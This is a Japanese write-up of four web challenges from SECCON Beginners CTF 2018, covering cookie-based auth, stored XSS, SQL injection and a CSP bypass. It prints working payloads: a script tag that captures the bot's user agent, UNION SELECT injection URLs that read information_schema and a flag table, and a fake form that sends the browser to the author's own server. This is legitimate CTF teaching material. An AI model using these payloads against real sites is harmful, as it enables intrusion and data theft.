SECCON Beginners CTF 2018 Web問題 Write-up

## 1. [Warmup] Simple Auth

### 概要

ログインフォームと php のコードが与えられる

### ポイント

- Cookie

### 解法

1. フォームに admin と入力して submit
2. 同じページに GET でアクセス

php のコードを読み解く。フラグを表示するためには cookie に `name: admin` という情報が記録された状態で GET でアクセス(=2)すれば良い。
cookie に `name: admin` をセットするためには、1 の動作を行えばいい。


## 2. Gimme your comment

### 概要

お問い合わせ投稿フォームと自動応答スクリプトが与えられる。自動応答スクリプトが [puppeteer](https://github.com/GoogleChrome/puppeteer) で書かれていて、その user agent がフラグとなっている。

```js
const puppeteer = require("puppeteer");

let origin  = process.env.origin;
let flag = process.env.flag;
let post_id  = process.env.post_id;

(async () => {
    const opt = {
        executablePath: 'google-chrome-stable',
        headless: true,
        args: [
            "--no-sandbox",
            "--disable-background-networking",
            "--disable-default-apps",
            "--disable-extensions",
            "--disable-gpu",
            "--disable-sync",
            "--disable-translate",
            "--hide-scrollbars",
            "--metrics-recording-only",
            "--mute-audio",
            "--no-first-run",
            "--safebrowsing-disable-auto-update",
            `--user-agent=${flag}`
        ],
    };
    const browser = await puppeteer.launch(opt);
    const page = await browser.newPage();
    await page.goto(`${origin}/posts/${post_id}`, {waitUntil: 'domcontentloaded'});
    await page.type('input[name="comment_content"]', '投稿ありがとうございます。大変参考になりました。');
    await page.click('button[type=submit]');
    await page.waitFor(1000);
    await browser.close();
})();
```

### ポイント

- XSS

### 解法

お問い合わせフォームの表示はescapeされていないので、任意のhtmlタグを埋め込める。方針は2通り考えられる。

1. img タグなどを埋め込んで、自分が用意したサーバに puppeteer からリクエストを発生させる。自サーバのログから user agent が分かる。
2. script タグを埋め込んで javascript を実行させる。javascript を使って、お問い合わせの回答に user agent の内容を吐かせる。

今回は、自サーバを用意するのが面倒だったので、2の方針にした。

以下をお問い合わせフォームに書き込めばいい。

```html
<script>
$(function () {
    var ua = navigator.userAgent;
    $('button[type=submit]').click(function (e) {
        $('input[name="comment_content"]').val(ua);
    });
});
</script>
```


## 3. SECCON Goods

### 概要

商品一覧ページが与えられる。

### ポイント

- SQLインジェクション

### 解法

結論から言うと `http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT flag,2,3,4,5 FROM flag--` にアクセスすればいい。

http://goods.chall.beginners.seccon.jp/js/init.js を読むと、商品一覧ページの商品は、 javascript によってサーバから取得されている事がわかる。

```js
vm = new Vue({
    el: '#view_root',
	data: {
        columns: {name:"商品名", description:"説明", price:"価格", stock:"在庫"},
        items: [{name: "Now loading", description: "Now loading", price: "0 YEN", stock: "0"}],
	},
    mounted(){
        axios.get('/items.php?minstock=0')
            .then(function (response) {
                console.log(vm.$data);
                vm.$data.items = response.data;
            })
            .catch(function (error) {
                console.log(error);
            });
    }
})
```

`/items.php?minstock=0` の `minstock=0` の部分を通してSQLインジェクションができる。

`http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--` にアクセスするとテーブル一覧が得られ、 `flag` というテーブルがあることが分かる。次に、 `http://goods.chall.beginners.seccon.jp/items.php?minstock=0 UNION SELECT flag,2,3,4,5 FROM flag--` にアクセスして `flag` テーブルの `falg` カラムを出力すると、flagが得られる。


## 4. Gimme your comment REVENGE

### 概要

`Content-Security-Policy: default-src 'self'` が設定されているのが2問目との違い。

### ポイント

- XSS

### 解法

[`Content-Security-Policy: default-src 'self'`](https://developer.mozilla.org/ja/docs/Web/HTTP/CSP) は、

> サイト管理者が、すべてのコンテンツをサイト自身のドメイン (サブドメインを除く) から取得させたい場合

に設定する。XSSを防ぐ効果がある。

> インラインスクリプトや eval() の実行を防ぐには default-src や script-src を指定する必要があります。

`default-src` 設定されているため、インラインの script タグの中身が実行されない。

偽のフォームをお問い合わせフォームに投稿し、自分のサーバへのリクエストを発生させることで、 user agent を得ることができる。

```html
<form method="get" action="自分のサーバのIPアドレス">
  <button type="submit" class="btn btn-primary mb-2">コメント</button>
</form>
```